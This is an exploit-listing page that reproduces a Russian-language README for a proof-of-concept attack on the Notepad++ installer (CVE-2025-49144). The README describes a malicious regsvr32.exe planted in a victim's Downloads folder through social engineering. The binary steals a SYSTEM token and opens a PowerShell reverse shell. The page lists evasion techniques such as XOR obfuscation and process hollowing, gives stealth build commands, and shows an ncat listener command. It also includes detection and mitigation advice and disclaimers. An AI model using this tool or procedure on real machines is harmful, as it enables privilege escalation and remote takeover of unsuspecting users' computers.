Sploitus

Exploit for CVE-2025-49144

kitploit · 2026-08-27

Exploit Code

MARKDOWN295 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VR00MM-CVE-2025-49144
# Подмена бинарного файла в Notepad++ — PoC (CVE-2025-49144)

> **⚠️ ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ**  
>  Этот код создан в образовательных и исследовательских целях для понимания уязвимостей, связанных с подменой бинарных файлов. Используйте его только в контролируемых средах с соответствующим разрешением.

## 📋 Обзор

Данный PoC демонстрирует уязвимость подмены бинарного файла в установщике Notepad++ (CVE-2025-49144), описанную в GHSA-9vx8-v79m-6m24. Уязвимость позволяет атакующему получить привилегии уровня SYSTEM, разместив вредоносный исполняемый файл с именем `regsvr32.exe` в том же каталоге, где находится установщик Notepad++.

## 🎯 Детали уязвимости

  * **Цель** : установщик Notepad++ (все версии до v8.8.2)
  * **Метод** : подмена бинарного файла через вредоносный `regsvr32.exe`
  * **Первопричина** : установщики Notepad++ вызывают системные бинарные файлы, такие как regsvr32, без указания абсолютных путей
  * **Воздействие** : когда пользователь запускает установщик, система автоматически загружает вредоносный файл с привилегиями SYSTEM, предоставляя атакующему полный контроль над целевой машиной
  * **Вектор атаки** : социальная инженерия или кликджекинг, чтобы обманом заставить пользователей загрузить легитимный установщик и вредоносный исполняемый файл в один и тот же каталог (обычно в папку «Загрузки»)



## 🏗️ Архитектура

PoC состоит из нескольких компонентов, работающих вместе:

root@kitploit:~
    
    
    ┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
    │ Notepad++       │    │ Malicious        │    │  Reverse Shell  │
    │ Installer       │───▶│ regsvr32.exe     │───▶│   (PowerShell)  │
    │ (searches for   │    │ (CGO binary)     │    │  with SYSTEM    │
    │  regsvr32.exe)  │    │                  │    │  privileges     │
    └─────────────────┘    └──────────────────┘    └─────────────────┘
    

### Основные компоненты

## 🔧 Технические возможности

### 🛡️ Методы обхода обнаружения

  * **Обфускация строк** : путь PowerShell кодируется с помощью XOR, чтобы избежать статического обнаружения
  * **Отсоединённые процессы** : создаёт независимые процессы, которые переживают завершение родительского процесса
  * **Имитация токенов** : повышает привилегии путём кражи токенов SYSTEM
  * **Процесс-холлоуинг** : внедряет код в легитимные процессы Windows



### 🌐 Сетевые возможности

  * **TCP Keep-Alive** : поддерживает постоянные соединения через межсетевые экраны
  * **Повторное подключение** : автоматическое переподключение с настраиваемыми задержками
  * **Обработка таймаутов** : неблокирующие операции с сокетами с корректными таймаутами
  * **Ограничение частоты** : предотвращает спам соединениями и обнаружение



### 💻 Системная интеграция

  * **Интеграция CGO** : бесшовная интероперабельность Go и C для системных вызовов
  * **Маскировка исполняемого файла** : имитирует поведение легитимного regsvr32.exe
  * **Многопоточность** : отдельные потоки для обработки stdin/stdout/stderr
  * **Восстановление после ошибок** : корректная обработка сбоев соединения и завершения процессов
  * **Управление ресурсами** : надлежащая очистка дескрипторов, сокетов и памяти



## 🚀 Инструкции по сборке

### Предварительные требования

root@kitploit:~
    
    
    # Install Go (1.24+)
    # Install MinGW-w64 for CGO compilation
    # Install Git for version control
    

### Компиляция

root@kitploit:~
    
    
    # Clone the repository
    git clone https://github.com/Vr00mm/CVE-2025-49144
    cd CVE-2025-49144
    
    # Build as executable (masquerading as regsvr32.exe)
    
    # For maximum stealth (strip debug info)
    go build -ldflags="-s -w" -o regsvr32.exe
    
    # For development (with debug symbols)
    go build -o regsvr32_debug.exe
    

## 📖 Использование

### Подмена бинарного файла (основной вектор атаки)

root@kitploit:~
    
    
    # 1. Place malicious regsvr32.exe in same directory as Notepad++ installer
    # Usually the Downloads folder where users download the installer
    copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
    
    # 2. User downloads official Notepad++ installer to Downloads folder
    # 3. When user runs the installer, it searches for regsvr32.exe in current directory first
    # 4. Installer finds and executes our malicious regsvr32.exe with SYSTEM privileges
    
    # 5. Listen for incoming reverse shell connection
    ncat -tlnp 4445
    

## 🔍 Схема атаки

root@kitploit:~
    
    
    sequenceDiagram
        participant User
        participant Attacker
        participant Downloads
        participant NotepadInstaller
        participant MaliciousRegsvr32
        participant SystemProcess
    
        User->>Downloads: Download Notepad++ installer
        Attacker->>Downloads: Place malicious regsvr32.exe (social engineering)
        User->>NotepadInstaller: Run installer from Downloads folder
        NotepadInstaller->>Downloads: Search for regsvr32.exe in current directory
        Downloads->>MaliciousRegsvr32: Find malicious regsvr32.exe first
        NotepadInstaller->>MaliciousRegsvr32: Execute with SYSTEM privileges
        MaliciousRegsvr32->>MaliciousRegsvr32: Create detached process
        MaliciousRegsvr32->>SystemProcess: Enumerate SYSTEM processes
        SystemProcess->>MaliciousRegsvr32: Steal token from winlogon/services
        MaliciousRegsvr32->>MaliciousRegsvr32: Create PowerShell with SYSTEM token
        MaliciousRegsvr32->>Attacker: Establish reverse connection
        MaliciousRegsvr32->>NotepadInstaller: Continue with legitimate regsvr32 functionality
        Attacker->>SystemProcess: Execute commands as SYSTEM
    

## 🎓 Образовательные аспекты

### Демонстрируемые концепции безопасности

  1. **Подмена бинарного файла**

     * Небезопасное поведение пути поиска исполняемых файлов
     * Повышение привилегий через уязвимости установщика
     * Векторы атаки с использованием социальной инженерии
  2. **Повышение привилегий**

     * Методы имитации токенов
     * Кража токенов процессов
     * Получение доступа уровня SYSTEM
  3. **Механизмы закрепления**

     * Создание отсоединённых процессов
     * Имитация служебных процессов
     * Логика повторного подключения
  4. **Сетевое программирование**

     * Реализация реверс-шелла
     * Программирование сокетов на C
     * Кроссплатформенные сетевые взаимодействия
  5. **Программирование на CGO**

     * Интероперабельность Go и C
     * Системное программирование на Go
     * Межъязыковая интеграция



### Учебные цели

  * Понять, как работают уязвимости подмены бинарных файлов
  * Узнать о небезопасных путях поиска исполняемых файлов в установщиках
  * Изучить повышение привилегий в Windows через недостатки установщиков
  * Исследовать векторы атак с использованием социальной инженерии
  * Попрактиковаться в программировании на CGO и межъязыковой интеграции
  * Попрактиковаться в безопасном программировании и анализе уязвимостей



## 🛡️ Обнаружение и смягчение последствий

### Методы обнаружения

root@kitploit:~
    
    
    # Monitor for suspicious regsvr32 usage
    Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
    
    # Check for unusual network connections
    netstat -ano | findstr ":4445"
    
    # Monitor process creation
    Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
    

### Стратегии смягчения последствий

  * **Немедленные действия** : обновитесь до Notepad++ v8.8.2 или новее, где при вызове таких исполняемых файлов, как regsvr32, явно задаются абсолютные пути
  * **Внесение приложений в белый список** : используйте такие инструменты, как AppLocker или Windows Defender Application Control
  * **Проверка исполняемых файлов** : внедрите проверку цифровой подписи для всех исполняемых файлов
  * **Проверка путей** : убедитесь, что приложения используют полные пути к системным утилитам
  * **Минимальные привилегии** : запускайте приложения с минимально необходимыми правами
  * **Мониторинг сети** : отслеживайте необычные исходящие соединения
  * **Обнаружение на конечных точках** : разверните решения EDR для обнаружения процесса-холлоуинга
  * **Проверка конфигурации** : избегайте запуска установщиков из каталогов, доступных для записи пользователю, например из папки «Загрузки»



## ⚖️ Правовые и этические аспекты

### ⚠️ Важные оговорки

  * **Требуется разрешение** : используйте только в средах, которыми вы владеете или на тестирование которых имеете явное разрешение
  * **Образовательное назначение** : этот код предназначен для обучения и исследований в области безопасности
  * **Отсутствие вредоносных намерений** : не предназначен для несанкционированного доступа или незаконной деятельности
  * **Ответственное раскрытие** : сообщайте о найденных уязвимостях через надлежащие каналы



### Этические нормы

  1. **Ответственное использование** : используйте только для легитимного тестирования безопасности и обучения
  2. **Запрет несанкционированного доступа** : никогда не разворачивайте атаку против систем без разрешения
  3. **Надлежащая атрибуция** : указывайте первоначальных исследователей и авторов обнаружения уязвимости
  4. **Обмен знаниями** : делитесь находками с сообществом специалистов по безопасности ответственным образом



## 🔧 Устранение неполадок

### Частые проблемы

**Сбои подключения**

root@kitploit:~
    
    
    # Check if port is available
    netstat -ano | findstr ":4445"
    
    # Verify firewall settings
    netsh advfirewall firewall show rule name=all | findstr "4445"
    

**Ошибки сборки**

root@kitploit:~
    
    
    # Ensure CGO is enabled
    set CGO_ENABLED=1
    
    # Check MinGW installation
    gcc --version
    
    # Verify Go installation supports CGO
    go env CGO_ENABLED
    

**Сбои получения токена**

  * Убедитесь, что программа запущена с достаточными привилегиями
  * Проверьте, доступны ли процессы SYSTEM для кражи токенов
  * Проверьте совместимость с версией Windows
  * Примечание: эта уязвимость затрагивает все версии Notepad++ до v8.8.2, поэтому PoC должен работать на самых разных установках



## 📚 Ссылки

  * Репозиторий CVE-2025-49144
  * Уведомление о безопасности Notepad++ — GHSA-9vx8-v79m-6m24
  * NVD CVE-2025-49144
  * MITRE ATT&CK T1574.007 — Перехват пути через переменную окружения PATH
  * MITRE ATT&CK T1134 — Манипуляция токенами доступа
  * Документация Microsoft — Безопасная загрузка бинарных файлов



## 📄 Лицензия

Этот проект распространяется под лицензией MIT в образовательных целях. Подробности см. в файле LICENSE.

* * *

**Помните** : этот инструмент предназначен только для образовательных целей и авторизованного тестирования. Всегда следуйте практике ответственного раскрытия уязвимостей и соблюдайте правовые границы.